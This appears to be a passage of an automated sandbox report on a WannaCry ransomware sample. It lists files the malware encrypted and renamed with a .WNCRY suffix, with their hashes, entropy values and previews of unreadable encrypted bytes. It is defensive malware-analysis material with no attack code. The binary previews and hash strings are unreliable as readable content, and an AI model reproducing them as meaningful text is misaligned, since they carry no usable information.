                                                                                                      SHA-512:29932C9567CCEAB6EE96C3637D5AED3C8187376A4594473FA5F529B81BF81B21F0EF222A983E13E9029D360A42937D124D76B786E3031FB6BFB560C81C57C3A4
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......MJn...I.f.(...0G..........a..n...nz.q......9M.iq5!.Tx..\.'.*E2t....0.....)......G5..".'t3l{.9..aa..qW.gGWn.....]...=.>|..X.c......L..Chm.T.A..;..It\_..h:a..!.....!.6....3....aVj7.vq.[ba1...!..R.}....Z..u9E...l.)4.m.cV.l..i....j..Q..h&EV..>.I...5eLu....v........1.....W.I+<l......"*.(.....<..(.AF.N..f5..l5........O...-.qO.;=.k...wQ..J_.,ZZ...}p......#.S~._.P.td.9h.^,...L...\....Eu..w+9.M.S.p..P_....r..C...&>%..-.T.....0..F...TQ.Mj.p..._I.....Qa....'.J.yncy...R..?....Z'.5.LO.B.N!.!{.......n[..........3!.Z.J...~....@....B..G....\T.Xk...P9\cV..A.... A........s.....<.r...+..y...`].Xv\1....5T{VdY..s.....A.p.Y'.......f.r....5.#8}.X...?.G..j4Rh.n...uT.....VVq^Y.~..n).....CE........mB..m...5)./...TvS..A..). .(...O...O.Y..9..=...%..C.._...._......(Z....4v.]..K.F..S.+.j??=iF..U...'..M....yP..@.*".h..1.\.....*.K7nb\L..........E.c..{B=.ei.@...+.v.F.(.Hj+.D./.gt...L6....,."{....H.....^.V.......]....(p....\.sT....q3^C..1.<.r.3.F.k$. .......6.._.K......

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):9704
                                                                                                      Entropy (8bit):7.984366495851247
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:DXSTJrj5EUVjntc1IQH1LPhZXVugfbAL2WUpjyelq+g/kyQKbWsuu9JOTSHyl:LIJXqU1q1ISvc9aWUJlq+QPWsugATSHm
                                                                                                      MD5:CE2F262AD629C4253DEB3F7BDCFA038E
                                                                                                      SHA1:D885116198AFC434D514DDA75B95A9764A887651
                                                                                                      SHA-256:F58925BEA5C3D17BC1B15EB54868B471DC2DB374E7C111ACDE10B1C7B42F923B
                                                                                                      SHA-512:23B13B3B6F5212095A8013995A2CAF06BFB0279418D7D991226F5642AD8E52705536599E8F736C6AD70CCF8A988A440B1956494E812771D90CB7F35F049A03D0
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......\8.R............W....e.Mv.+v..=.?..M....N.....Rm.=.R..9:co.Dq...@n..Yq.h...qcP'..-.l.....Q#D...<.[...DW."..xn..^.......71..q..es=z..R.h...m,C:..:;:..(.....>.`.}#.9?........vS...;.p6.Y.P.H}o."......t...w.c3..\.|^`.N!.....I[.i..V=l....b..+.>......$..........`?....T,haC.*\...!.c2....U..6..!.S7.3!........`.Y...k.\*..."6...?.R..)'.&8..`.XD]..8..!...e,../#....a..$...T.A...8.L..\..R..t@e?r.O.urz.......#...I.z.G.b.......`}Ac.}..L..l.|<O..F.....G._....H.c.8..[.#7O.....$_..#.......6.JM..~t........p,....*F3.......I.@..a..5...;.s.'......0$..d.7?w.V.Oa2nl..F..v..^v..._..?\M.n..9/fu.x.}.Zu.....A........4..V..g!..k.G..P.2}.....=.@e..\.]...yO...ND[.5......=v.j.r..!Z.}...S..cu.......{\.h<..j...8.,hp...Ca..[Y.p8........R.0..kvn.o.Y...J....F'.q.=fg.(.S.G.lh.^S.X..=.....V.<r8..z.cL.};.3r#g.&..C.n.L.@.O...sl...x.....gs.Fw.^..{.l*p.f3.....N..... ..*....j*...Mi8.....:......$.v..}.?...m.E.....]..c;.>]...i..Y6..{g..wLl....J.."..a.{.QOL:.L.[ ...)...X......

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content_new.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):10056
                                                                                                      Entropy (8bit):7.984440476201032
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:192:xQg/h96gifEWGHTpwJByGsvW6+5SwxsZNAzpdXT:+g/L6gifHJBtEW6+oGsZodj
                                                                                                      MD5:5013A83679DF3BAA9B178B5AEEABF796
                                                                                                      SHA1:5BDCE3EEC447A3D3CA096EC27F63B1B3B61FCD3A
                                                                                                      SHA-256:883D52F4688AEF488E9188DE6744A47F573D7495569771A08EE5AB1C101D9DA2
                                                                                                      SHA-512:DABDA8A8B978940C6E9822581F31AB70D0B805DB26A3BBAE8E2D192A1D15643AFD86C6F0B21A65C7E59F6AABBAA098A2C3CAA21A27CBB94E47E33069944895CD
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......5.6>.M.W.|l.`s..'.)....*.o8.E.....?...D..5..t.eQ......P<`..,..W<..8..A........s..y.|..N.H...l.....7.I..C].y,.....{.$\.&G.R....M]K....O.y. &..C..@....!Uk...9.}.[...B..:...........X.8...>#.."{2FL4C....Rh#...P.c.%.`.Y.7t.U.~Y.p..Dv.@ph[G...0Y....*&..........f..Wh....R.....}...5............../..&5!...7>..`....I...1..?...l..$....S(|}U....sUMElUM.X.)`...m..U...J.......p.,..$.?y..dA.S..Y....Y..O.Vv+.s]..........V........hHHw..)|.JN.D.......k^'.&{......Z&...7]..}.SH...IXV.I..|.|..8!..H........r.q[.w.O..{..q5."....Nc......yx.8.P..V.>Z..7...B>...uF....E\........i.....tnnM....'..e.....W..!n..g..?...P.O5...Y.%..".d.:........i..s.......v5.87 .PCw.0..`#ALr.ny.......P..z......w6.........Y._^~..C...{(.....4.2G..R./.Skv..x...p....%..2....>.........).....x..o......(Y.....\E>v....Wh[7.."G...".;K0yQ9^j..g....."....).......o..d.P..#...Ow.t..Y.wz...n.N,..k.H....D...+u.L.t.IL.e.c.:..)q=..7...].A.J.f.H!..2..K...-.=G..".....,-U."...C....

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1608
                                                                                                      Entropy (8bit):7.878098148412954
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkLh2F/v4d8SnXvZkeZHr6iNaemDOZO5+kTOG:okHvSXvZT2iNaecOknaG
                                                                                                      MD5:B0316E6553F2C1CD75D1AC0BFBA29A23
                                                                                                      SHA1:E1F5B1E810B7DDE909C215B46360BF43828EA876
                                                                                                      SHA-256:0839D3976D9CA2C1709F32061CE74F24B5BB429825F8D9B6A1500C7057336E7A
                                                                                                      SHA-512:2CC546E64475326BAC4941BDF63208FF9806A8F1FE67B4722ECD217B17F271E9903F347B242EFD8C86B34EA6A71D63E198EA9B9E157858F8A0699E351FC0C137
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.......C..S..+.m....w..WY..w.9E..c.-e.s.......MS$F..[....z7..o.....v.......0..i..a..j.Y......R.M..q.....|.sj2..26..|C....C.E....6...U_...<.~.....S..9'.<.....6...y.....+a..e........p...6.Q...R...l...=..t.].d.".%...].[...aT.{...a....=y.&.^V~.........%........C...:$..y...3$...R....^....,.l...k...u.....q.Z......@.....i..A...O..i.[..U.....?+.n(P.3..1.{..a.nJ \B*..1..RK.y.Fg.O..Z.x$......Z.F...%.^.a..).k.p.e..r..4G{.L.<B......-..C-..R.C.2..l...9.}..7np.-8.....M].o....>.:.r........bk.....v...Q.3...o.0...-........w...G*R.N?..>L...|...d....<.I..`/z.A{..$....5y...]....-it.x6..kOe...K."[3...]...].)....;.`..me...0...Q..Z:E.{.GJar.y..^a....9.\.,..F..d....L..J...X^v"...^....%..T.Bk]42a..K.....9_.....S....FZ.<......'.3.|...N4......q4L.......qO..T(/A.w.1V...OP..g.S.i.K...#.(.3Ws..^>K.k.x..p...._Z''. ..mx=.I[...=...9oH.....yfI...&....7....P.........P4g...X.._..kb......i.5d...'Gi|.E....8.......7.C...)l.......961.........bw.7.6...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):493400
                                                                                                      Entropy (8bit):7.999679188787113
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:zP4oZVNO42ugrpR8oc3MBsxXWNl2G6jDHjc+vDtSQMDtfKSat0V+RdIY3Fr9YAMA:zP4oTn70pR8Z8BaZUGD8tCtIYjMlakkJ
                                                                                                      MD5:F9D6F62D0D0435ED0FCA7CA206FAC273
                                                                                                      SHA1:EC1AB80EB4892EC409DE40DF18DAE37F3D8C6EB3
                                                                                                      SHA-256:9C2ABAC028C49137C8D2C2654788C576FEBE7B5E47634EFEB06F33D4148EAB8B
                                                                                                      SHA-512:BCF75D30C496B2DCC72C100CDF4BDF176479BB678729F7AB8FA66D67FE7CFE93188EDFDBEC044C82E87335E3BFEAE3B8D1AC973EFC0E230690C7BE5C5DA53A82
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......zG.i#\.&o.#v.z..y.Etl.+..5.5.0....^G.j.Y"..p...O\.w*..6_.c......~.4@`.`v!r.:.'.i.XC&...V..V^>.. ..@.8$.K|....<%..k..O.Q...C....%.x......#..{..P..".0.'6.! ..ZW..<.......8...L.....j(....P....z..o.P3.8.&.-...B......X..B.]..n........l..F.....`U6....2...........<......I....".z..*.......I.....78..8..-#..l..;._Id.....Vhe.....S..w.G..<..)N.S...S.....!.....4.9Z....{H....K.}.Q....v.X.>....0.s....U.<nI..+_...X.q.b......X8.&%s..........>...Af.L....SMo;0">g.hZhE.!..N..'.V[3c..n...H?)....}s....4...sZ..1......0"nL..X7S..p~-@3..C..OT.C........ .s%%y...z,[`%...'.'B..m.oF..*..(,y.Q.#W.=#.M..L.m.H..7.s..#.u.fA....G.B..v-e.z/...!..W:......*..f...[.6.[...3%*.@[..hM..'..8..j.?k{....D/?.J.J".h.*.Q!m.~...D..8..f.....V.7..7j.U..29...n.R.W.....)...$...../X].....T..v..\{.. .s5p |.^...^?N....*z>4( ;1ezY.4{.X.....!.+.Ba...#...bb.s..!/.|OL.9L]d.O..7.....^.E....oo.y.hkw...p8......U..D...D..D...~..2..dB.......c......Q^4=V..h.E._V..8M...........yI.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Notification\notification_fast.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):329976
                                                                                                      Entropy (8bit):7.999472625687884
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:7ujcRtG/y68OACjaku/vNYfQvHZQsVgfd5bZmjqlBtz8CahSNpIh5K+Z9yO:yjCtG5u/ViiZGfHbHt1NpYjZMO
                                                                                                      MD5:154810A66DA368343FE1BA22E5A83D6E
                                                                                                      SHA1:1B0B8A00DF16765ECC9DF05EB93843D42142D63F
                                                                                                      SHA-256:9696F2AF4658C13B80341BE859BA3AD769F54104C03BD0861AD64DB34F352842
                                                                                                      SHA-512:0E60066DBC6AEFDFD028D874515D2DA89904D3D079B82B22932D7AA130AF1D94B76923F9E320745B298AFF829CF4D88191B6A9D7D7C38BF5701D44389A6A42C5
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..... ..}.eOH...C...b[.&..Y+...xY..R........$:R..?.....<M..}...Ad4O..9.VhHg...7.R.@BvF.E".....FU].b\.....o.,Gq... ...*..z.....9kDI.....kj.5....3;..{8K.....C.?......5]$Y..".W......W.G....gT.h.6.dg2]z.2.....D.n:.....).....J...%..|.V..@.[I7e+.3...............oT........l1.~.).F.....y......?.M;fs.......K..p..b9k.#...z.....L........I.....Z...Mf.OYv.;..M`CB.-..H....Le....4...^.I.s!.a^.E..._<`...v.i*;:[%..z..|....d:.i0....T.l...<.....N.*..>..h.#.&.l.N.......Iz.)......d&Ioq....J....O..9.....O.,V8|L......b>..P...d....XO...ux...OL/..-...._....h.u.....'i...&.......s9.lp...v.5..Vq.U}Z..`{...a.....y.R..O.5m....K./..hy...=...@xC.4&]...CJV/..F.\...".7...u6....<~y<..b{f.l..s.?.iCJO..p..{...<.(.u....,....._........"{...w.|...C.E.,H.q<g.....]=T]yi.>M.&6...0e..A.W...u......`...9.......@..#f,d...s...B.q...5.PL@$..d.U..&V..M..Q.P.........../)...C......3..&........5....C...UOV.R..~.'...e.%.ro..D..hRn..@..|'...OC.WN..(f........L.....I..i`.9j.n9px`>...

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Tokenized-Card\tokenized-card.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):552536
                                                                                                      Entropy (8bit):7.99964975052257
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:12288:ByV4LL751WHkOA2WyPy8lIHm1EmG8TuJarB25KBP3wQNnvi9kxly622:ByV4LL7512fnWyPyWP1EVfarQKdJGA
                                                                                                      MD5:827394AED97004787019BCCB147CF3EE
                                                                                                      SHA1:F0E4A46A28F69BE4F1BF0673B577D5273AFF38AB
                                                                                                      SHA-256:9E0377B022A719C5BB5AB2ABAB6290237E2C097C8B5D80EB0A5C1AE43233BD94
                                                                                                      SHA-512:77398635508B7EA0DCA1C313DBB421C64473606DD151F4A15F70BE565E4037E88D5F3220FFC8B2530B91B682152382BE0CBAFA285002552F378FF966B875F31C
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!.....y...(.@.9Lh....UD.`.A.U.z....;..k.D...s.>[....s.=.P.A=..S.?(/LO..BY.:.d..h...w.p.Ua.=-...bc;...9$LR..l...P...'..=..lD.+:u.LA.$.!UxQ_...xY...8:.$VK.t.Bi...Xa..m.lL..~..k~....24.hr.......K.jm.6 j.,>d.$PQ;A..Z.....E.........L..Zb...Xy4.S.=....BZ$"s....9m..........!.0.....r...<P.Q.....J.Yu.g....P..;>...(..(../....8A....H...^M..T/..hTI..z...R.....I+..rsh.yd...,.5...4.........rO\BYq{o................"I.lO.L......U/..K#.{Sp.k...M;R.mH%....)..........M.......w:Z.K......q.|....A........I..}a."....tE...s..(..H...._Y......'{Q.|...........[../.2Xi5z....P'L/._...R.4.d..=.......d6.:.l ..'}S`]p..y....U......R#.oD.<&.H.,.N../d..z...c':.....w.?.A./...k).^xA.........-........ ./.....O'a..6Xl.P..E.8...Ps...E&:..X.p\1....)h.p...J.a.f.l..O..#..1#9~.k.><..g.v.>.%.2....S..H0.[.Z....P.......b.u>.1X`.....w.y..+G.:y@.N..IR.B..@..$rz.,..c..w~Cz0G.=.^.......mP..Nj....J...A....N.,...)....2..9..q..A.........-.ZZ...o..s.s..tAh......&.c..[E..D.6.)=...4..

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\load-ec-i18n.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):16456
                                                                                                      Entropy (8bit):7.988213245485171
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:384:jTH4W53Afmcqq4PbptatQttMLz2YCfBJjMKeeGOmwGd9:HH4cEqz9EKtxDcKaLw+
                                                                                                      MD5:BECF26B7D70AD4A4E0A86944E17C0039
                                                                                                      SHA1:9E9B58AB6513BDF85CA9860B51A2F6E16C9B82BF
                                                                                                      SHA-256:9A09C6AAF4CCF07E1BFEE8C95968252830C2A4D6ACE1E26793501E4E8F2923C8
                                                                                                      SHA-512:9EA5408B2BBFBC2DE785569128C4F720BD3C66625BEFD3CF9C1C0D0B11E57D24E3AD917DE2A0E73826004371BC4BF6DB40F88CCA3F8D3A6A60DE8598A67078CF
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!..........!.S.rU.-..0.'..r`.q...Eg..k.L....;.0......m.n.V.baDwa.w..H.k..j~.-4.!......j.p..&.Gh...#...0aO.#.{.0.. J.I...c2..$.....1.F..4....TT.Sq.>.\1@x#Bn..e...j).U|#.9..L+........u&...f`._.z..d......I...s?.....Yn.>..##.....9.^e...3J.x@^.p....7.0Q.....$?..........h.,?.Yj..$!.;..PJ.T.~......h.K..>.....Z5...{..H.iSB6..."..i..zD@.A3...'.p....V..T.j-......N3.691.I..X"k.s......,..x.......=Lv....s..[E..q..7..,...q=.I...</.\.@.....U,.o+.C.1.Z6...\(..{..0&...Z03.0....B..%!.(...n%.c.=.3\..MG.....F.I|....b9...;#..g.J0...<......5.....F..z.m.....=^..Y...yT.(>...;zj..dh..ve.V...o%....J......@....t8.2yD....3A.f.>........>I:.<..U.J~b.....0.....2..L.u.\u).6m).x;.,...I....a...$.....<.......9.k@X.Ub.h.........|yDz.../...}........i....=.>.^..c.S/.?.5........(..1..p}.WZ.(.o..w.........y..Sa.....:..N....U..{'f3.{;..>8...t.B..?..T.. .*.#.....8.i.r.T.,..3..F.......#%..rK.c.1....^Z..T..g.S.%]. ......>C".fY{c|~..\.3..we..._`\y..U..k....K.@g7.../..N

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\Wallet-Checkout\wallet-drawer.bundle.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1394952
                                                                                                      Entropy (8bit):7.999877654650071
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:24576:/hHZIAxwg3Aq8rooh1dTU/N4yTT4PNbvTMch/MyPCjlij2kqfE5:/hHOQw9ooD9U/N4ZvTMchkrHkAE5
                                                                                                      MD5:EDE5D6178CA4BE989A79DF1C2332B0B1
                                                                                                      SHA1:63EEF74ECE0B81120F26E3A81D73B03C1EAFDC55
                                                                                                      SHA-256:D089C12C9A875B0331BFA6057EF54F20F79496C85EDD86C564C61A4F84EDA329
                                                                                                      SHA-512:97B2AEDCC494435A58F6E4390BCA7CAD5B55CDD2F4FD31F9A283EBA3802C9D66527283E39914B64CFF55AA150D002C15388101D900A310DA281DC336D9DC86B7
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....~T.).:G..oo..{.....Q...?..B..z ...4.x.J.;]JH....;......P..h+...G-%Zr.a5....@._..j;..*..2........6q..%c.uMJ....)..*......O4.(\.u....).....0.+...]6..f,V.w.$....A..0G}..I..m.....$........$......6.B.7.e.....S...!^ RO..-.....o4....d...o.L.........G............J.gF...........p....>!i..T.;}...Id$.......E.....^..[.Hp...Gp.zR..A9....<b@.....3.g..i..g...o....d..^..:~.....5.z\L.....9.h......0..._.i...;.<zc7...6...a{*G.4.4....&.." ...:...._..b.c.(..........!..e..*.4=9.Z5.umS.7.=.\.....c..+.....f ex7.....G0.HGb.).P........1.........L...'.-......zw.w..+...k..vJ.K...1QZ.n.....t......)..\.~.x.;/.6..../...&.$.dJ.1.P1H....X]B3.....=..-d..p..9..H..s.......U.j..9_.:G....r.w=.v?..]._3..&..........+..r..(.(.._.w.f.K............9..2U..&U.N..A......^T]..$..Kv....l-..FJ.....W.W...6.w.g).3L..^.._W.2<b.u.z.^h.20b.)]>Q..e.9.....N.sR.......W.i...._...e?.1!.bZ@W..RB^N....;.c..|..A....)kr.V....g^..X..?.X.i....[...o:.Og.c..e..q=.I0a......c#..v5]..NqV..|.

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.50\adblock_snippet.js.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):2600
                                                                                                      Entropy (8bit):7.932968330777499
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:48:bkdUgFvVVZ9DFQGHqRbfWX58+CZ6oWvPzvn2qh4mNW8ujPxVl+QXtSPayDAL:oOqv3ZbQY8a7E3Wzvn5h4mNcjXl+QXt1
                                                                                                      MD5:6E850D0A89B9E5CCCAC1D6316EDBCD4E
                                                                                                      SHA1:0FB3143F8496B96FCC06F9ED1C383A90B0819BFF
                                                                                                      SHA-256:957E07F7E8D0E4A2716885384418944112B27172BB424F650DCD3796F0C582E2
                                                                                                      SHA-512:9449003B57E3CDA1A65F7F0AAB17963DE9B424EFEA2D5F17C81EFB35FD4F8EA56E9571CBA8FACA03F40CF831325703E3491F7CD0F05FC1C776B3A24AC13D0BD8
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....._}....pE..T'=....me...4.zNf?Q.......Q2.0...~.s..)...lm...J.*j.....w|..p...#..;T!G.i.Crf.....B...<st.....!vkzo'......1......H...A.8b0..&....z....D6...&..].Q.^M......>h......{.A:..6.RLJ]J.... ..b=ytv_.mxe...4.....g.T>...A....L.i.a.YBZ^W..C.2.Y.............?.h.])..!?.n.q..A_..`m.pf....q........L.....!.....$ .Nl....<0M.2.Z.*.<.".T..E.(9GyOW....,#.l.e..J5..a.D._..C.3..K.....\......g...-........A,.By(.Z....S..v.rX.U:..s..].e2s.6.,CgLe..`.....+.........8.........g..l....].."&.E.....LZj\........c....p..M#.OY.....f......0......Y.....!......A..*.I.|.......+..?...D.K|C.A./...........B.....&}`m.D..K.#....-.....P...i.M.'...`.....I!@c...jk..T]~p...l..........}B8....`[.^;Z6m.@..qPOR+....X...I.,.J........M.O..W.!....c.4y.|..0.....[cd..2.WD...-.$...".E_t`.g......nk.`.,...[).#...T[.M.:.R.Y.....&\.W.]k....*O.dfQc.{...t/.i.u.=..C....Pe...O.J..|....s..Y..8...8k..,'.....ezv.e..w.G.;...o&.....c..`_........./XF....0.....>Y..N.......T

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):424136
                                                                                                      Entropy (8bit):7.9995795801314005
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:6144:y6qXcGh8lrG/XKLvgyIavQptfKjZifKfq5HySKLmqbROCetn8kmN8KQVr0JKr20U:/lkXKLojavQpLcq5SS7iOL0bQx/G
                                                                                                      MD5:FCF3CF8D5C72DCC51A78462C03AE1CCF
                                                                                                      SHA1:C2331AB2FF53E9755C9883B0AB2C4FE0162F3BA0
                                                                                                      SHA-256:8316C1AD0150A5A58722962754E1EA1803735A4E80B2D505E55854ACDFDDE430
                                                                                                      SHA-512:24993B3835120192CC0C4F2053E62B9F000FFB8D3AA3B80B44AC1881769BAF2AA4E1289145A52BECF7FA19869C1EF018759A2CB25166B552F74DA1AB021261AE
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!....8@n&.`>(...$..Z.\.C...\w.......i.S{g...g.(..=F......A9....".....Q..c.c.. .w.....$....=B....t..B.....:H..v.0...@..u.Q..-...}p6..r.....E..?RN_..V7..2..m./..>..k.u..^..#.....e...g[C.~..d.~.V.5a.AiR.7N....:. ).F.....u.......-R...*A....`..........w.......B.m.1.b.....j.....F3.$.4..2...3..!.]...R....C.R.|.G....'.A.l`...c...O...GOS/....=......|S...$%PxG..xF..H.P.i..a..O......T8o|.*)H..2Q..../.V..J..}.../.....N.9....9..U.W.4nS...$...e.NT|.P....S..j.b,e.>t..;........].....y..6....:.Z...).....!...s.>.]w..3...Wu?...:.#.,q~..}...^K.=...8.Y7k..hq.7P.Y...8..Y7.._.X...C...Oym.i......#Q~..Ap).B.V {x..v0-&...%.9$p.4.:2.....UK............4-M....M..O..............'...h ...A.p...g..).......Xc...RU...|...m.\.d.6..q..(\..........O[.....8..Ue.....#..Q-.G}..*a..9$...A.Hn..n.WB/..IR9..:e..r{4. ..d...p.p..J."...=....0..... .~...#m_..=....!.QdD.K"g#.85....E.....+._/....2..Yo.O..*..%.2...p.....L....k.~........+......g.Sy....:|.:>`tB$.....8.S..`._..S)

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):103928
                                                                                                      Entropy (8bit):7.998345979102433
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:4ITgMKAsdQmTcvEKFDgyUgBBCg6kbsrBpC9sIZIor/alpSR+Pddk4zNv8ng05Ukj:ZTHMdxB4a0pD95Zjy/PsMNvol5Ukj
                                                                                                      MD5:1436DA6A13FCCCA67843807B3F705303
                                                                                                      SHA1:E998D365ADE9FB60E7066EDA405E3958A2AACBF5
                                                                                                      SHA-256:F52136EA45DB5BFCF36C5863362D1448EFB8516C40146D8B55775DB86ED72ECA
                                                                                                      SHA-512:DB21BB461C1BC8ACEA3DF852B3E9537CF52821384C3E998D2683DC883BF13E455058E4AE4ACAAC22CD7EFED690CD3BC79C35D2E3805586145BBA3B520D324A73
                                                                                                      Malicious:true
                                                                                                      Reputation:unknown
                                                                                                      Preview:WANACRY!......!.0....)..Yn..vGA[!.A.Q$....A..w..)Q..... .pR.8.>E .....*.\.;....b...mF@+.oU...u.c../.'l...F*[...m.d...0Rq...*,.jH.&M._...I.Y.e..%.[.R.m.U8.D...{X.lY0...l..H...*+......Q...4....B.{..s.......{.aT..7w...y6.Mq.q.QT.]Y...v:.7/c.}.1!.;V...$s].............$^.p........c..~...D,...r..^......q`sd.{,.&..i.f.....O_.V.q...}..>A..Z6..S...%.GP.k..........O...n.FF.......E.1JE..p.?..t..6f.....N|.....g......1..)d..N...g.....;.9BxBX....9.0...,........).....*K,ucB..H...Sn.g.{...-.4Z..'..b......V.k^.....<.J.....Y4..qt..Z.O1.....|ec..0O..oO,...5v.;.5.o."Iu...03Lv;.....dE.u.I.....$..^<..o..=.b5a9Q...P.._E.!.H$.8yD...5.7@6-..lW.~..V.._.@\Kv[H.g..y.t&O.jQJ.75........0....u.0..O.....Nr......d........w....S...d...\.....|.....X...o.B............5...'.VO3...%.=..Q.8rT[.+........2.x"..#..m....R....D.,.m.;..Nb.o....X.....=..7.^...m6....... n..0".K..u.O.*;.....Sr;.5.;.[..O.*b./...W=.........`......N..2N`k.d-,#..ht.O."..9a. Br.@k..!.W}.N.._Vw..b~..cb

                                                                                                      C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRY (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):102344
                                                                                                      Entropy (8bit):7.998121056561393
                                                                                                      Encrypted:true
                                                                                                      SSDEEP:1536:c69dok8PnrpoNh3YMYkeI4IeqyqoDF/XKaLU7yOuWPQke+V9QKwkkZp1p:cCak8P2YMlebIFyqoBVcQh+nQhkep1p
                                                                                                      MD5:2BA6599E9FA85A6B1618B2B11C760F3A
                                                                                                      SHA1:70982DAA3586E19BA0DBBC32FB95A8B80DBF3F21
                                                                                                      SHA-256:A1396755BE3BF3A50C18FD746B97996A3A0ED5588998B25530F45E5AF5743A52
                                                                                                      SHA-512:A3B77DA2766324FF028F962335E5F647D32210A597D3F9BC11198CF3E81AA1E47AA7C1C48D900B7B826923134378E3B6BC5023FA659C022D636DC24913B412E5
                                                                                                      Malicious:true
